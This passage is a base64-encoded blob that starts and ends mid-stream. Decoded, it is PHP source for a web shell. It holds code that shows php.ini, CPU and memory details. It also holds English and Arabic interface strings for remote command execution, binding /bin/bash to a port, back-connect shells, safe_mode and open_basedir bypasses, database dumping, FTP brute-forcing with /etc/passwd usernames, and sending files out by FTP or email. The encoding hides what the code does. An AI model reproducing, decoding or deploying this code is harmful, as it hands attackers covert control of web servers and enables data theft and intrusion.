mFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpDQogew0KIEBvYl9zdGFydCgpOw0KIHByaW50X3IoJHZhbHVlKTsNCiAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogQG9iX2VuZF9jbGVhbigpOw0KIH0NCiByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KIH0NCmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikNCiB7DQogJHN0ciA9IEB3b3Jkd3JhcChAaHRtbHNwZWNpYWxjaGFycygkc3RyKSwgMTAwLCAnPHdiciAvPicsIHRydWUpOw0KIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7DQogfQ0KaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQogew0KICRyID0gJyc7DQogZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+JywgJzx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TWFzdGVyIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4nLiRrZXkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgfQ0KIGVjaG8gJHI7DQogZWNobyAnPC90YWJsZT4nOw0KIH0NCmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q1BVPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsNCiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7DQogICBpZigkbWVtZikNCiAgICB7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQokbGFuZz1hcnJheSgNCidlbmdfdGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4gY29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidXb3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywNCidlbmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwnLA0KJ2VuZ190ZXh0MzYnPT4nRGF0YWJhc2UgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfYnV0dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywNCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1hbmQnLA0KJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcsDQonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQonZW5nX3RleHQ4NCc9PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInPT4nd2l0aG91dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3UpIGxvZ2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4dDEwNSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQonZW5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9PidIaWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCknLA0KJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5nX2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlICcsDQonZW5nX2VycjEnPT4nRXJyb3IhIENhblwndCByZWFkIGZpbGUgJywNCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLA0KJ2VuZ19lcnIzJz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLA0KJ2VuZ19lcnI0Jz0+J0Vycm9yISBDYW5cJ3QgbG9naW4gb24gZnRwIHNlcnZlcicsDQonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsDQonZW5nX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLA0KJ2VuZ19lcnI3Jz0+J01haWwgc2VuZCcsDQonZW5nX3RleHQyMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGNvcHkoKScsDQonZW5nX3RleHQyMDInPT4nd2hlcmUgZmlsZSBpbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MzAwJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBjdXJsKCknLA0KJ2VuZ190ZXh0MjAzJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBpbmlfcmVzdG9yZSgpJywNCidlbmdfdGV4dDIwNCc9Pid3cml0ZSBzaGVsbCBmcm9tIHZ1bCBlcnJvcl9sb2coKScsDQonZW5nX3RleHQyMDUnPT4nd3JpdGUgc2hlbGwgaW4gdGhpcyBzaWRlJywNCidlbmdfdGV4dDIwNic9PidyZWFkIGRpcicsDQonZW5nX3RleHQyMDcnPT4ncmVhZCBkaXIgZnJvbSB2dWwgcmVnX2dsb2InLA0KJ2VuZ190ZXh0MjA4Jz0+J2V4ZWN1dGUgd2l0aCBmdW5jdGlvbicsDQonZW5nX3RleHQyMDknPT4ncmVhZCBkaXIgZnJvbSB2dWwgcm9vdCcsDQonZW5nX3RleHQyMTAnPT4nRGVaZW5kZXIgJywNCidlbmdfdGV4dDIxMSc9Pic6OnNhZmVfbW9kZSBvZmY6OicsDQonZW5nX3RleHQyMTInPT4nY29sc2Ugc2FmZV9tb2RlIHdpdGggcGhwLmluaScsDQonZW5nX3RleHQyMTMnPT4nY29sc2Ugc2VjdXJpdHlfbW9kIHdpdGggLmh0YWNjZXNzJywNCidlbmdfdGV4dDIxNCc9PidBZG1pbiBuYW1lJywNCidlbmdfdGV4dDIxNSc9PidJUkMgc2VydmVyICcsDQonZW5nX3RleHQyMTYnPT4nI3Jvb20gbmFtZScsDQonZW5nX3RleHQyMTcnPT4nc2VydmVyJywNCidlbmdfdGV4dDIxOCc9Pid3cml0ZSBpbmkucGhwIGZpbGUgdG8gY2xvc2Ugc2FmZV9tb2RlIHdpdGggaW5pX3Jlc3RvcmUgdnVsJywNCidlbmdfdGV4dDIxOSc9PidHZXQgZmlsZSB0byBzZXJ2ZXIgaW4gc2FmZV9tb2RlIGFuZCBjaGFuZ2UgbmFtZScsDQonZW5nX3RleHQyMjAnPT4nc2hvdyBmaWxlIHdpdGggc3ltbGluayB2dWwnLA0KJ2VuZ190ZXh0MjIxJz0+J3ppcCBmaWxlIGluIHNlcnZlciB0byBkb3dubG9hZCcsDQonYXJfdGV4dDIyMic9PicyIHN5bWxpbmsgdXNlIHZ1bCcsDQonYXJfdGV4dDIyMyc9PidyZWFkIGZpbGUgZnJvbSBmdW5jdXRpb24nLA0KJ2FyX3RleHQyMjQnPT4ncmVhZCBmaWxlIGZyb20gUExVR0lOICcsDQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KJ2FyX3RleHQxJyA9PifH4cfj0SDH4ePk3dAnLA0KJ2FyX3RleHQyJyA9PifK5N3t0CDH4cfmx+PRIN3tIMfh0+3R3dEnLA0KJ2FyX3RleHQzJyA9PifH49Egx+HK1Nvt4ScsDQonYXJfdGV4dDQnID0+J+Pfx+Qg2uPh3yDH4cfkINrh7CDH4dPt0d3RJywNCidhcl90ZXh0NScgPT4n0d3aIOPh3SDH4ewgx+HT7dHd0ScsDQonYXJfdGV4dDYnID0+J+PTx9Eg4+Hd3ycsDQonYXJfdGV4dDcnID0+J8fmx+PRIMzH5dLlJywNCidhcl90ZXh0OCcgPT4nx87K0SDH4cfj0ScsDQonYXJfYnV0dDEnID0+J8rk3e3QJywNCidhcl9idXR0MicgPT4n0d3c2icsDQonYXJfdGV4dDknID0+J93KzSDI5tHKIN3tIMfh0+3R3dEg2uHsIC9iaW4vYmFzaCcsDQonYXJfdGV4dDEwJz0+J8jc5tHKJywNCidhcl90ZXh0MTEnPT4nyMfT5tHPIOHhz87m4ScsDQonYXJfYnV0dDMnID0+J93KzScsDQonYXJfdGV4dDEyJz0+J8PK1dzH4SDa3N/T7ScsDQonYXJfdGV4dDEzJz0+J8fhx+0gyO0nLA0KJ2FyX3RleHQxNCc9PifH4ePk3dAnLA0KJ2FyX2J1dHQ0JyA9PifDytzVx+EnLA0KJ2FyX3RleHQxNSc9PifTzcgg4+Hdx8ogx+HsIMfh0+3R3dEnLA0KJ2FyX3RleHQxNic9Pifa5CDY0e3eJywNCidhcl90ZXh0MTcnPT4n0cfI2CDH4ePh3ScsDQonYXJfdGV4dDE4Jz0+J+Pfx+Qg5NLm4eUnLA0KJ2FyX3RleHQxOSc9PidFeHBsb2l0cycsDQonYXJfdGV4dDIwJz0+J8XTys7P4ycsDQonYXJfdGV4dDIxJz0+J8fhx9PjIMfhzM/tzycsDQonYXJfdGV4dDIyJz0+J8fkyObIIMfhyO3H5MfKJywNCidhcl90ZXh0MjMnPT4nx+HI5tHKIMfh483h7ScsDQonYXJfdGV4dDI0Jz0+J8fh0+3R3dEgx+HI2u3PJywNCidhcl90ZXh0MjUnPT4nx+Hj5N3QIMfhyNrtzycsDQonYXJfdGV4dDI2Jz0+J8fTys7P4ycsDQonYXJfYnV0dDUnID0+J8rU2+3hJywNCidhcl90ZXh0MjgnPT4nx+Ha4+Eg3e0gx+Hm1togx+HH4+QnLA0KJ2FyX3RleHQyOSc9Pifj4+Tm2iDH4c/O5uEnLA0KJ2FyX2J1dHQ2JyA9PifK2+3RJywNCidhcl90ZXh0MzAnPT4n2tHWIOPh3ScsDQonYXJfYnV0dDcnID0+J9rR1icsDQonYXJfdGV4dDMxJz0+J8fh4+HdINvt0SDj5szmzycsDQonYXJfdGV4dDMyJz0+J8rk3e3QIN/mzyBwaHAg2uQg2NHt3iDPx+HlIGV2YWwnLA0KJ2FyX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonYXJfYnV0dDgnID0+J8fOysjH0ScsDQonYXJfdGV4dDM0Jz0+J97Rx8blIMfh4+Hdx8og2uQg2NHt3iDL29HlIGluY2x1ZGUnLA0KJ2FyX3RleHQzNSc9Pife0cfG5SDH4ePh3cfKINrkINjR7d4gy9vR5SBNeXNxbCcsDQonYXJfdGV4dDM2Jz0+J8fh3sfaz8kgLiDH4czP5uEnLA0KJ2FyX3RleHQzNyc9PifH0+Mgx+Hj08rOz+MnLA0KJ2FyX3RleHQzOCc9Piff4ePJIMfh49Hm0ScsDQonYXJfdGV4dDM5Jz0+J8fh3sfaz8knLA0KJ2FyX3RleHQ0MCc9Pifk087JIOPkIMzPx+bhIMfh3sfaz8knLA0KJ2FyX2J1dHQ5JyA9Pifk087JJywNCidhcl90ZXh0NDEnPT4nzd3ZIMfh5NPOySDd7ScsDQonYXJfdGV4dDQyJz0+J8raz+3hIMfh4+Hdx8onLA0KJ2FyX3RleHQ0Myc9PifH4ePh3SDH4ePRx88gytrP7eHlJywNCidhcl9idXR0MTAnPT4nzd3ZJywNCidhcl90ZXh0NDQnPT4n4cfK08rY7dogx+HK2s/t4SDa4ewg5dDHIMfh4+HdIN3e2CDK3tHDJywNCidhcl90ZXh0NDUnPT4nyuMgx+HN3dknLA0KJ2FyX3RleHQ0Nic9Pifa0dYgcGhwaW5mbygpJywNCidhcl90ZXh0NDcnPT4n0cTtySDH4ePK2+3Rx8og3e0gcGhwLmluaScsDQonYXJfdGV4dDQ4Jz0+J+PTzSDj4d3HyiDH4dwgdGVtcCcsDQonYXJfYnV0dDExJz0+J8rN0e3RIMfh4+HdJywNCidhcl90ZXh0NDknPT4n49PNIMfh09/RyMog4+Qgx+HT7dHd0ScsDQonYXJfdGV4dDUwJz0+J9rR1iDj2uHm48fKIMfh0Mff0ckgx+HRxu3T7cknLA0KJ2FyX3RleHQ1MSc9Pifa0dYg49rh5uPHyiDH4dDH39HJJywNCidhcl90ZXh0NTInPT4nyM3LIOTVJywNCidhcl90ZXh0NTMnPT4n3e0gx+Hj08fRJywNCidhcl90ZXh0NTQnPT4nyM3LINrkIOTVIN3tIMfh4+Hdx8onLA0KJ2FyX2J1dHQxMic9PifIzcsnLA0KJ2FyX3RleHQ1NSc9Pifd3tgg3e0gx+Hj4d3HyicsDQonYXJfdGV4dDU2Jz0+J+HH7ebMzyA6KCcsDQonYXJfdGV4dDU3Jz0+J8fk1MfBL+PTzSDj4d0v48zhzycsDQonYXJfdGV4dDU4Jz0+J8fhx9PjJywNCidhcl90ZXh0NTknPT4n4+HdJywNCidhcl90ZXh0NjAnPT4n48zhzycsDQonYXJfYnV0dDEzJz0+J8Xk1MfBIC/j080nLA0KJ2FyX3RleHQ2MSc9PifK4yDF5NTHwSDH4ePh3ScsDQonYXJfdGV4dDYyJz0+J8rjIMXk1MfBIMfh48zhzycsDQonYXJfdGV4dDYzJz0+J8rjIOPTzSDH4ePh3ScsDQonYXJfdGV4dDY0Jz0+J8rjIOPTzSDH4ePM4c8nLA0KJ2FyX2J1dHQ2NSc9PifF5NTHwScsDQonYXJfdGV4dDY2Jz0+J+PTzScsDQonYXJfdGV4dDY3Jz0+J8fhytXR7c0vx+Hj08rOz+Mvx+HjzOPm2sknLA0KJ2FyX3RleHQ2OCc9PifH49EnLA0KJ2FyX3RleHQ2OSc9PifF0+Mgx+Hj4d0nLA0KJ2FyX3RleHQ3MCc